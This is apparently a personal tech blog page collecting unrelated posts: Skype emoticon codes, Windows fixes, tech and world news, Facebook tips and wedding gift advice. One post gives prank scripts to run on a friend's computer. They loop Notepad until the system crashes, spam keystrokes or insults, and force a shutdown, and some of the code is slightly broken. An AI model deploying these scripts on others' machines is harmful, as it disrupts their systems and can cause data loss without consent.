Hidden Skype options

Blogged by Uzi

Did you know that apart from a widely used VoIP service, Skype is also a well structured and developed instant messaging service?


Skype provides a cool user interface to chat with your online friends and it also provides several emoticons and smileys to convey your moods or feelings with little icons. Here is a list of the all hidden emoticons and smileys that you can use while chatting with your Skype friends.


How to use Skype Hidden Smileys or Emoticons?

Unlike Yahoo Messenger or any other instant messaging service, Skype smileys don’t appear upon hitting a combination of symbols. In fact you have to enter the smiley code, which are usually named as the emotion (emotion=emoticon) while chatting with your friends.

Skype Hidden Emoticons, Smileys

Smiley Icon	Smiley Name	Smiley Code to Type
	Mooning	(mooning)
	Finger	(finger)
	Bandit	(bandit)
	Drunk	(drunk)
	Smoking	(smoking)(smoke)(ci)
	Toivo	(toivo)
	Rock	(rock)
	Headbang	(headbang)(banghead)
	Bug	(bug)
	Fubar	(fubar)
	Poolparty	(poolparty)
	Swearing	(swear)
	TMI	(tmi)
	Heidy	(heidy)
	MySpace (Skype v3.6)	(myspace)

While few of the above smileys or emoticons work with Skype 3.0 or above versions only, others will work on Skype 2.5 or later versions.

How To Hack your friend's keyboard and make them type "You are a fool"

Blogged by Uzi

UNLIMITED NOTEPAD WINDOWS HACK

This will pop up endless notepads until the computer freezes and crashes. Copy the below code in notepad and save it as ".vbs" extension.

Code:-

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

CAPS LOCK CRAZY TRICK

This constantly turns caps lock on and off really fast continuously.

Code:-

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

UNLIMITED BACKSPACE HACK

This makes it so the backspace key is constantly being pressed.

Code:-

MsgBox “Let’s go back a few steps”

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Convey your friend a message and shut down his / her computer:

Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files .

How to Fix Folder Options Missing Problem:

Blogged by uzi.

Hello Friends. Today I am going to tell how get back the Folder Options. Most of times it happens that viruses infects your system and folder options becomes missing. First of all friends I share one thing with you all that 90 percent of doesn't delete things on your Computer they just modify their properties like either they hide them or corrupt them. And your information there are several ways to recover from that.

Today I am sharing with you "How o fix Folder Options Missing Problem".

STEPS INVOLVED:

1. Go to the Start Menu and open the run.

2. In the Run Type "gpedit.msc" (Without quotes) and press enter.

3.Now you will see Something like this..

4.Now Go to User Configuration then Administrative Templates then Windows Component then Windows Explorer.

5.Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu".

6.Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

7.I hopes that you will find the option after restarting windows. :)

Face recognition to replace passwords, PINs

A new software that can track your facial features in real time is likely to replace passwords and PIN numbers when you log into internet sites from a mobile phone. Eventually, it will be able to tell who the user is, where they are looking and even how they are feeling.

Face verification is already used in laptops, webcams and the Xbox 360 Kinect but this is the first time the technology is being used with such sophistication in mobile devices such as smartphones.

"Existing mobile face trackers give only an approximate position and scale of the face," said Phil Tresadern from the University of Manchester, Britain, who led the project, the Daily Mail reported.

"Our model runs in real time and accurately tracks a number of landmarks on and around the face such as the eyes, nose, mouth and jaw line," he said.

"A mobile phone with a camera on the front captures a video of your face and tracks 22 facial features.This can make face recognition more accurate, and has great potential for novel ways of interacting with a mobile phone," Tresadern said.

"At this stage, we're particularly interested in demonstrating uses for the face-tracking part of the technology," he said. "It is very fast and I can't find anything that can rival it on a mobile phone."

The new software, built on 20 years of research at the university, has been demonstrated on a Nokia N900 for the EU-funded "Mobile Biometrics" (MoBio) project.

China creates fastest superComputer : Tianhe - 1A

A Chinese scientific research center has built the fastest supercomputer ever made, replacing the United States as maker of the swiftest machine, and giving China bragging rights as a technology superpower.

The computer, known as Tianhe-1A, has 1.4 times the horsepower of the current top computer, which is at a national laboratory in Tennessee, as measured by the standard test used to gauge how well the systems handle mathematical calculations, said Jack Dongarra, a University of Tennessee computer scientist who maintains the official supercomputer rankings.

Although the official list of the top 500 fastest machines, which comes out every six months, is not due to be completed by Mr. Dongarra until next week, he said the Chinese computer “blows away the existing No. 1 machine.” He added, “We don’t close the books until Nov. 1, but I would say it is unlikely we will see a system that is faster.”

Officials from the Chinese research center, the National University of Defense Technology, are expected to reveal the computer’s performance on Thursday at a conference in Beijing. The center says it is “under the dual supervision of the Ministry of National Defense and the Ministry of Education.”

The race to build the fastest supercomputer has become a source of national pride as these machines are valued for their ability to solve problems critical to national interests in areas like defense, energy, finance and science. Supercomputing technology also finds its way into mainstream business; oil and gas companies use it to find reservoirs and Wall Street traders use it for superquick automated trades. Procter & Gamble even uses supercomputers to make sure that Pringles go into cans without breaking.

Over the last decade, the Chinese have steadily inched up in the rankings of supercomputers. Tianhe-1A stands as the culmination of billions of dollars in investment and scientific development, as China has gone from a computing afterthought to a world technology superpower.

Modern supercomputers are built by combining thousands of small computer servers and using software to turn them into a single entity. In that sense, any organization with enough money and expertise can buy what amount to off-the-shelf components and create a fast machine.

The Chinese system follows that model by linking thousands upon thousands of chips made by the American companies Intel and Nvidia. But the secret sauce behind the system — and the technological achievement — is the interconnect, or networking technology, developed by Chinese researchers that shuttles data back and forth across the smaller computers at breakneck rates, Mr. Dongarra said.

“That technology was built by them,” Mr. Dongarra said. “They are taking supercomputing very seriously and making a deep commitment.”

The Chinese interconnect can handle data at about twice the speed of a common interconnect called InfiniBand used in many supercomputers.

In 2002, the United States lost its crown as supercomputing kingpin for the first time in stunning fashion when Japan unveiled a machine with more horsepower than the top 20 American computers combined. The United States government responded in kind, forming groups to plot a comeback and pouring money into supercomputing projects. The United States regained its leadership status in 2004, and has kept it, until now.
For the record, Tianhe-1A performs 2.5 times 10 to the 15th power mathematical operations per second.

Bypass iPhone Security Or PassCode Lock

It seems Apple's latest iPhone is not that safe, for a security flaw has been found that allows strangers to bypass the handset's passcode-protected lock screen with a few button presses.

Most users set up a password to prevent others from accessing the phone's contents, but a Brazilian man posted a video of himself on the internet showing a quick way of getting around it.

He taps the 'emergency call' button, then enters three # signs, taps the green call button and immediately presses the button on the top of the phone that locks the screen, reports the Guardian.

That simple procedure gives access to the phone app, which contains the address book, voicemail and call history – but it does not allow access to texts, emails or any other iPhone apps.

The iPhone is one of the best-selling handsets on the market, but security researchers have criticised its weak security.

Bug no iOS 4.1 from Salomão Filho on Vimeo.

Indonesia hit by deadly, tsunami, volcanic eruption

A volcanic eruption and a tsunami killed scores of people hundreds of miles (kilometers) apart in Indonesia — spasms from the Pacific 'Ring of Fire', which spawns disasters from deep within the Earth.

The eruption of Mount Merapi on Tuesday killed at least 25 people, forced thousands to flee down its slopes and spewed burning ash and smoke high into the air on the island of Java.

Meanwhile, off the coast of Sumatra, about 800 miles (1,300 kilometers) west of the volcano, rescuers battled rough seas to reach the remote Mentawai islands, where a 10-foot (three-meter) tsunami triggered by an earthquake on Monday night swept away hundreds of homes, killing at least 113 villagers, said Mujiharto of the Health Ministry's crisis center. Up to 500 others are missing.

The twin disasters happened hours apart in one of the most seismically active regions on the planet.

Scientists have warned that pressure building beneath Merapi's lava dome could trigger its most powerful explosion in years. But Gede Swantika, a government volcanologist, expressed hope the 9,737-foot (2,968-meter) mountain, which sent rocks and debris cascading down its southern slope, could be releasing steam slowly.

"It's too early to know for sure," he said, adding that a big blast could still be coming."But if it continues like this for a while, we are looking at a slow, long eruption."

FIFA 2010 World Cup hero, Paul the Octopus, is dead!

Paul the octopus, who shot to fame during this year's football World Cup in South Africa for his flawless record in predicting game outcomes, has died, his aquarium in Germany on Tuesday.

"Management and staff at the Oberhausen Sea Life Centre were devastated to discover that oracle octopus Paul, who achieved global renown during the recent World Cup, had passed away overnight," the aquarium said in a sombre statement.

"Paul amazed the world by correctly predicting the winners of all Germany's World Cup clashes, and then of the final," said Sea Life manager Stefan Porwoll. "His success made him almost a bigger story than the World Cup itself ... We had all naturally grown very fond of him and he will be sorely missed,"

Paul beat the odds during the World Cup by correctly forecasting all eight games he was asked to predict, including Spain's 1-0 win over the Netherlands in the final.

For the prediction, two boxes were lowered into the salty soothsayer's tank, each containing a mussel and a flag of the two opposing teams. Watched by a myriad of reporters, Paul would head to one box, wrench open the lid and gobble the tasty morsel, with the box he plumped for being deemed the likely winner.

Paul's body is now in cold storage while the aquarium decides 'how best to mark his passing'.

However, Paul's fans need not despair. The aquarium has already been grooming a successor, to be named Paul like his mentor. "We may decide to give Paul his own small burial plot within our grounds and erect a modest permanent shrine," said Porwoll.

Facebook Integrates with Orkut

Social networking has been here since times immemorial in one or the other forms.

Back to the era when Facebook was new, there were only a handful of social networking sites that were outrageously popular and one such social networking platform was Orkut. But, ever since Facebook evolved, we can certainly assert that there are not many people who bother going back to Orkut for all those gossiping comments and social networking activities.
Now, Facebook now allows you to keep in touch with your Orkut account without signing into it. Yes, you can now stay connected with both Facebook and Orkut accounts directly by signing into facebook.

The configuration process to avail facebook settings for orkut is absolutely simple:

1. Log into your Facebook Account

2. A notification / reminder should appear on your account homescreen which says “Link Your Profile With Orkut”.

Click on this tab to proceed.

3. You will be redirected to a Facebook Privacy settings page. Select the entries you want to feature on Orkut and click “Save Changes”.

4. You are done.

By default, the Facebook to orkut application has privacy settings configured to “Set my privacy to everyone” which means your profile data and facebook activities will be viewable/accessible to all other users on the web. So, select your privacy settings wisely.

Once these settings are configured, you can now enjoy posting facebook updates, photos, notifications and other things directly from your Facebook account to your Orkut account.


Imagine what happens to Facebook traffic if someone develops a similar Facebook app for the MySpace crowd. You can already check your GMail email message inside Facebook using FMail app.

iPhones, iPads on kids' Christmas wish list

A Christmas gift is no longer child's play. Now many young Britons cherish gadgets such as iphones and ipads as their presents, a survey has found.


Almost one in four children as young as five said their most wanted Christmas present was Apple's iPhone 4 smartphone, the web-surfing iPad media player or iPod MP3 music player, the Daily Mail reported.


A spokesman for Duracell, which interviewed 2,138 children and parents online, said: "Under-16s have become totally engaged with adult technology."


While demand for the gadgets is greatest among older children, with 66 percent between the ages of 13 and 16 putting the high-tech products at the top of their Christmas wish list, 17 percent of five to eight-year-olds and half of nine to 12-year-olds also did the same.


Other gadgets in the Duracell Toy Report's top 10 include Microsoft's hands-free Kinect motion controller for its Xbox 360 games console, the battery-powered Zhu Zhu Hamster pets and their Kung Zhu Hamster spin-offs, the PlayStation Move controller and the Flip HD video camera.


Although, names of traditional toys appear at the bottom of the list, they are in modern form. The Lego Harry Potter video game and Barbie Video Girl - a video camera set in a Barbie doll are the few choices.

Download Your Facebook Profile To Your Computer In Three Simple Steps – It’s Crucial!

Oh, so you love Facebook just like us and everybody else. But what if someday an unfortunate upshot blocks you from accessing your Facebook profile? And you didnot backup facebook contacts or anything else. All those invaluable photo memories, videos and your profile data would be lost forever – in case the account recovery fails, which is often a high certainty.

To allow users to capture their fond facebook memories and profile data, Facebook has rolled out a new feature that allows one to backup Facebook profile data on to your computer. This way, at least one has access to one’s profile data including photos, videos, status updates, events, wall posts, friend lists and much more.

Using this feature, you can save a backup of the aforementioned profile data on your computer and view it at a later instance. In this post, we bring you three simple steps to backup Facebook data on your computer. Hit past the break for step-by-step instructions to configure these settings on your Facebook profile.

Basically, the process is extremely simple. 1. Just visit your Facebook Account 2. Configure Settings 3. Request a download. But, let us illustrate the  procedure in an even simpler way – that’s how I went through to backup my facebook data. Here are the steps to follow.

1. Log in to your Facebook account.

2. On the top-right of your Facebook homescreen, click the Account tab and select Account Settings from the menu.

3. Under the Settings tab on your My Account page, there should be a ‘Download Your Information’ Tab. Just click‘learn more’ to proceed.

4. And Select ‘Download’ from the Request My Download prompt that appears on the screen.

 

Crucial Measure  : Facebook Profile Backup

Once, you are done with this, please be informed that the profile data will be available as a downloadable zip file, but the process may take some time and the status appears as ‘Pending’.

Meanwhile, you can continue to use your Facebook account until you are notified that the download is now available.

5. Once, you receive an email from Facebook confirming that your download is ready, you are required to visit the link provided in the mail and verify your Facebook password on the succeeding page.

6. Enter your password, click Continue and select ‘Download Now’ as shown below.

Bravo, you’re done.

Note : If you don’t find the “Download Your Information” feature in your account, exercise a little patience for theFacebook profile backup feature is being rolled out in batches. Thousands of fb users have already downloaded their profiles, and realizing the need for backup  - we hope you too will.


P.S Special Thanks to Syed Khaled for this blog post.

Apple unveils MacBook Air - thinnest, lightest laptop yet!

Apple has unveiled the thinnest, lightest laptop ever which combines features from the iPhone and iPad with traditional series of MacBook.

Apple CEO Steve Jobs announced the new MacBook Air on Wednesday night which will incorporate FaceTime video conferencing and a suite of applications, which the company is now bringing to all its Macs. FaceTime allows for video calls between iPhones, iPod touches and Macs.

The new laptop has an 11.6-inch screen but weighs as little as 2.3 pounds. It comes with a multi-touch trackpad which lets users control by pinching, rotating, swiping and double-tapping just like on the iPad or iPhone, reports the Daily Mail.

The new MacBook Air uses flash storage rather than a hard drive like conventional computers, which means it can power up almost instantly from standby mode and store data twice as quickly as a standard hard drive.

However, it has less processing power compared with Apple's other laptops.

Apple will bring a version of its mobile applications store to the Mac, aiming to replicate its success and spur development of new programs.

"We asked ourselves what would happen if a MacBook and an iPad hooked up? Well, this is the result," Jobs said at a media event in Cupertino, California, calling MacBook Air the "future of notebooks".

The MacBook Air comes in two sizes, one with a screen that's 13.3 inches diagonally and another with a 11.6-inch screen. The larger one clocks in at 2.9 pounds and can be used for seven hours - due in part to a low-voltage processor from Intel that consumes less power than ones running in standard laptops.

The 11-inch model with a 64 GB memory will cost 899 pounds while the 13 inch version with 256 GB of storage comes in at 1,349 pounds.

"They're basically merging the product lines; they're simplifying it," said Kaufman Bros analyst Shaw Wu."They're taking the strengths out of what they've learned on the iPhone and iPad and bringing that technology over to the Mac side. It makes a lot of sense," Wu added.

While plenty of attention is lavished on the iPhone and iPad, the Mac has been critical to the company's success over the past years. Apple sold $22 billion worth of Macs in 2010, comprising one-third of its revenue. Nearly 50 million people worldwide use Mac.

How Much to Spend on Weddings?

Blogged by PrimeRose.

From ice sculptures to swans to a $1,200 cake, picture-perfect weddings can quickly break the bank. 

But, what about the 120 million people who attend weddings each year? From gifts to plane tickets to hotel rooms, costs can seriously add up. According to Sharon Stimpfle of Wedding Channel, 60 percent of your gift budget should go for the wedding gift, 20 percent for the shower, 15 percent for the engagement gift, and 5 percent for the bachelorette bash, to which you should bring something cute but small.

Below, you'll find our handy chart with how much you should spend on gifts, sorted by how close you are to the person. Double all of these amounts if you're a couple. And if you live in an urban area where the cost of living is high, add $25 to $50 to each of these numbers. 

If you are not invited to the engagement or bachelorette party, feel free to reassign those funds to the wedding and shower gifts. And remember -- the bridal shower is all about gifts, so wrap yours nicely and be prepared for the bride to open it in front of you and all of your friends.


Some more wedding-guest financial tips:

1. Aim for Average
You don't have to spend more than that, even if your friend is throwing a "Great Gatsby"–style affair. "Most brides and grooms ... don't expect over-the-top, elaborate gifts from their guests, especially those ... in their 20s and 30s," says Anna Lucia Richardson, a wedding planner.

2. Plan Your Travel EARLY
Many airlines will make you pay surcharges of up to $30 for traveling at "peak times," but during summer, more days are "peak" than aren't. So, get your tickets the moment you decide to go to the wedding.

3. Use Your Rewards
Use credit card rewards points to purchase gift cards or gifts from the registry. You may also be able to use points toward travel and hotel costs.

4. Group Gift
Group gifting is a great way to collectively give something that you might not otherwise be able to afford on your own, says Richardson. If each person pitches in the $70 he or she would've spent otherwise, you can communally purchase something much pricier.

5. Just Be Nice
This is a very stressful, emotional time for your engaged friend, so do everything you can to help the couple feel special and unburdened. The gifts that they'll look back upon most fondly aren't necessarily the most expensive. Offer to help the bride find her jewelry, run errands, and ask if there's anything you can take off her plate. Also, never forget that a nice note goes a long way, so remember to break out your stationery.

6.  Decline, Respectfully
If you can't go to a wedding -- even if it's for financial reasons -- don't feel bad. Just follow up with a phone call and send a small, simple gift to show your appreciation for being invited, says Stimpfle. Your gift doesn't have to be expensive; it can be something creative rather than from the registry.

More than anything, remember that many couples understand the financial burden of expensive plane tickets and hotel reservations; what they'll appreciate most are your good wishes.